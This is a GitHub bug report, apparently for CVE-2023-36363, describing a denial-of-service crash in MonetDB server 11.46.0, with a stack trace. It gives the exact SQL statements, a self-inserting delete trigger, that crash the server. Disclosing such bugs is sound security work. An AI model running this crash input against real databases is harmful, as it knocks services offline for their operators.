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CVE-2023-36363: MonetDB server 11.46.0 crashes at `__nss_database_lookup` · Issue #7384 · MonetDB/MonetDB

An issue in the __nss_database_lookup component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

CVE
#sql#dos

Describe the bug
MonetDB server 11.46.0 crashes at __nss_database_lookup after executing SQL statements through mclient.

To Reproduce
Use the mclient binary to connect MonetDB server and execute the following stmts:

create schema test; drop schema test cascade; create schema test; set schema test; CREATE TABLE test (sect int NOT NULL auto_increment, PRIMARY KEY (sect)); create trigger count after delete on test for each row insert into test values (1); delete from test;

Expected behavior
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

#0 0x7f76ea76ebee (__nss_database_lookup+0x2078e)
#1 0x7f76eadf66fd (OPTemptybindImplementation+0x4fd)
#2 0x7f76eae124f1 (OPTwrapper+0x191)
#3 0x7f76eacdae23 (optimizeMALBlock+0x1a3)
#4 0x7f76ea98391f (SQLoptimizeQuery+0x1df)
#5 0x7f76ea94c57b (SQLparser+0x7eb)
#6 0x7f76ea94b87b (SQLengine_+0x59b)
#7 0x7f76ea94a343 (SQLengine+0x23)
#8 0x7f76eacd96cf (runScenario+0x4f)
#9 0x7f76eacda16c (MSscheduleClient+0x68c)
#10 0x7f76ead81c2b (doChallenge+0xfb)
#11 0x7f76eb400ba0 (THRstarter+0x100)
#12 0x7f76eb470cc4 (thread_starter+0x34)
#13 0x7f76ea7e5609 (start_thread+0xd9)
#14 0x7f76ea70a133 (clone+0x43)

Additional context
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

Using the mlient or unixODBC with command line like isql monetdb -e can reproduce the crash. But command line isql monetdb (without the -e option) cannot reproduce it.

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